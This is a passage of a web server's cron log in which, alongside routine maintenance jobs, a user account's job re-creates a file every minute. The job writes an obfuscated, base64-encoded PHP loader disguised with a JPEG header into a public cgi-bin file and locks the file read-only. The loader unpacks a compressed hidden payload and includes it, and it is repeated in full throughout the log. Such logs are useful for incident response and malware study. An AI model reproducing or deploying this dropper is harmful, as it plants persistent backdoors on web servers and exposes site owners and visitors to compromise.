"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:40:01 server CROND[12828]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:41:01 server CROND[12943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:42:01 server CROND[13017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:42:01 server CROND[13018]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 05:43:01 server CROND[13184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:44:01 server CROND[13241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:45:01 server CROND[13293]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:45:01 server CROND[13294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:45:01 server CROND[13295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:46:01 server CROND[13406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:47:01 server CROND[13466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:48:01 server CROND[13513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:49:01 server CROND[13665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:50:01 server CROND[13723]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 05:50:01 server CROND[13726]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 05:50:01 server CROND[13727]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:50:01 server CROND[13725]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:50:01 server CROND[13728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:51:01 server CROND[13874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:52:01 server CROND[13931]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Apr  8 05:52:01 server CROND[13932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:53:01 server CROND[14121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBes